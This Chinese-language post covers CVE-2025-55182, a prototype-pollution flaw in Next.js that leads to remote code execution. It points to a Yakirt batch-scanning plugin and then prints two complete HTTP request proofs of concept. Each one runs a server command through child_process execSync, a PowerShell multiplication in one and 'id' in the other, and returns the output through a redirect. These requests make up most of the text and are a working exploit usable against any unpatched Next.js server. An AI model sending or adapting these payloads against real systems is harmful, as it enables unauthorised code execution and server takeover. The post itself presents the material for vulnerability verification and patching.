
本篇文章将详细介绍一个存在于 Next.js 中的高危安全漏洞 CVE-2025-55182,该漏洞源于服务端请求的不安全处理,可能导致原型链污染(Prototype Pollution),并最终引发远程代码执行(RCE)的风险。
Yakirt 批量测试插件
你可以使用由社区贡献者“黑奴001”编写的 Yakirt 插件来批量检测此漏洞。
插件ID: 2a25fae9-90b9-4e76-8db3-e76e81a72afe

在 Yakirt 的插件商店中,输入上述 ID 并点击确定,即可成功导入该漏洞检测插件。

导入后,你可以在插件列表中看到并启用它,对目标进行批量扫描。

除了使用专用插件,你也可以在 Yakirt 的 WebFuzzer 模块中,直接使用以下 Proof of Concept (PoC) 进行手动测试与验证。
PoC 利用方式
PoC 1:执行计算命令
此 PoC 尝试在目标服务器上执行一个计算命令(powershell -c \"40461*43992\"),并将结果通过重定向返回。
POST / HTTP/1.1
Host: [目标主机]
Next-Action: x
X-Nextjs-Request-Id: q4cyykng
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: tOBs1VaPKRJ30uOHFSteU
Cookie: HWWAFSESTIME=1764925900399; HWWAFSESID=6274b7384239192593
Content-Length: 718
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('powershell -c \"40461*43992\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
PoC 2:执行系统识别命令
此 PoC 尝试在目标服务器上执行 id 命令,以确认远程代码执行(RCE)的有效性。
POST /apps HTTP/1.1
Host: [目标主机]
Next-Action: x
X-Nextjs-Request-Id: ygdkgols
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: 0OySzliul7lMdEUPchXuS
Content-Length: 691
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
通过以上方式,安全研究人员和运维人员可以快速验证其 Next.js 应用是否存在此高危漏洞,并及时采取修补措施。